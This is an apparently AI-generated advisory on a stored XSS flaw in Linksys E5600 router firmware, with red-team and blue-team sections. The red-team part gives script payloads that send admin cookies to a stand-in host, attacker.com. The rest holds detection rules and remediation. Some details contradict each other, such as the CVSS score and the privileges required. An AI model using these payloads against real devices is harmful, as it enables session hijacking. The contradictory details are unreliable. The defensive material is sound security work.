CVE-2025-29231

Executive Summary

CVE-2025-29231 is a stored cross-site scripting (XSS) vulnerability discovered in the Linksys E5600 router firmware version V1.1.0.26. The flaw resides in the page_save component, specifically within the hostname and domainName parameters. An attacker can inject arbitrary web scripts or HTML into these fields, which are then stored and executed in the context of an administrator's browser session when the settings page is viewed. This can lead to session hijacking, credential theft, or further compromise of the router's administrative interface. As of this report, no official patch has been released by Linksys, and the vulnerability is considered unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 6.1)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim (administrator) must visit the affected settings page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.
• Threat Level: Medium – Exploitation requires user interaction but can lead to significant compromise of the router's admin interface.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The page_save component in the Linksys E5600 firmware does not properly sanitize user-supplied input for the hostname and domainName parameters before storing it. When an administrator later views the settings page, the stored payload is rendered in the browser without proper encoding, allowing the attacker's script to execute.

Attack Flow:

1. An attacker gains access to the router's administrative interface (e.g., through default credentials, weak passwords, or other means).
2. The attacker navigates to the settings page where hostname and domainName are configured.
3. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into one of these fields.
4. The payload is stored in the router's configuration database.
5. When an administrator (or any user with access) views the settings page, the browser executes the injected script.
6. The script can perform actions like stealing session cookies, redirecting to malicious sites, or modifying router settings.

Root Cause: Lack of input validation and output encoding for the hostname and domainName parameters in the page_save component.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would include proper sanitization and encoding.

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
$hostname = $_POST['hostname'];
$domainName = $_POST['domainName'];
// Save to database
save_config('hostname', $hostname);
save_config('domainName', $domainName);

Patched Code (Conceptual):

// Patched: Sanitize and encode output
$hostname = htmlspecialchars($_POST['hostname'], ENT_QUOTES, 'UTF-8');
$domainName = htmlspecialchars($_POST['domainName'], ENT_QUOTES, 'UTF-8');
// Validate input (e.g., only allow alphanumeric and hyphens)
if (preg_match('/^[a-zA-Z0-9\-]+$/', $hostname) && preg_match('/^[a-zA-Z0-9\-\.]+$/', $domainName)) {
    save_config('hostname', $hostname);
    save_config('domainName', $domainName);
} else {
    // Reject invalid input
    echo "Invalid hostname or domain name.";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Linksys E5600 admin interface (e.g., via default credentials admin:admin).
• A web browser with developer tools.

Exploitation Steps:

1. Log in to the router's admin panel (typically at http://192.168.1.1).
2. Navigate to the settings page where hostname and domain name are configured (e.g., under "Basic Setup" or "Network Settings").
3. In the hostname field, inject the following payload:

   <script>alert('XSS')</script>
   

4. In the domainName field, inject a more sophisticated payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the settings.
6. Wait for an administrator to view the settings page. The script will execute in their browser.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log.php?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual changes to the hostname and domainName fields in router logs.
• Look for HTTP requests to external domains originating from the router's admin interface.
• Use network monitoring to detect outbound connections to known malicious IPs.

Prevention:

• Immediately change default admin credentials.
• Restrict access to the admin interface to trusted IPs only.
• Implement a Web Application Firewall (WAF) to filter XSS payloads.
• Regularly check for firmware updates from Linksys.

Honeypot:

• Set up a fake admin interface that logs all input to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the router's IP.
  • Unusual Referer headers pointing to the router's admin interface.
• File IOCs:
  • Modified configuration files containing <script> tags.
• Log IOCs:
  • Log entries showing changes to hostname or domainName with non-standard characters.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups when accessing the router's settings page.

Detection Engineering

YARA Rule

rule CVE_2025_29231_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Linksys E5600 hostname/domainName fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29231"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Linksys E5600 hostname/domainName
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Linksys E5600 router configuration
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29231
logsource:
    category: application
    product: linksys_e5600
detection:
    selection:
        - field: hostname
          value|contains: 
              - '<script'
              - 'onload='
              - 'javascript:'
        - field: domainName
          value|contains: 
              - '<script'
              - 'onload='
              - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29231 Stored XSS Payload in Linksys E5600"; flow:to_server,established; content:"hostname"; nocase; content:"<script"; within:100; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29231 Stored XSS Payload in Linksys E5600"; flow:to_server,established; content:"domainName"; nocase; content:"<script"; within:100; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure the router's admin password is strong and unique.
2. Restrict Admin Access: Limit access to the admin interface to trusted IP addresses only.
3. Disable Remote Management: If not needed, disable remote access to the router's admin panel.
4. Monitor Logs: Regularly review router logs for suspicious changes to hostname or domainName.

Long-Term Fix:

• Vendor Patch: Linksys must release a firmware update that properly sanitizes input and encodes output for the hostname and domainName parameters.
• Workaround: If patching is not possible, consider using a reverse proxy or WAF to filter XSS payloads before they reach the router.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.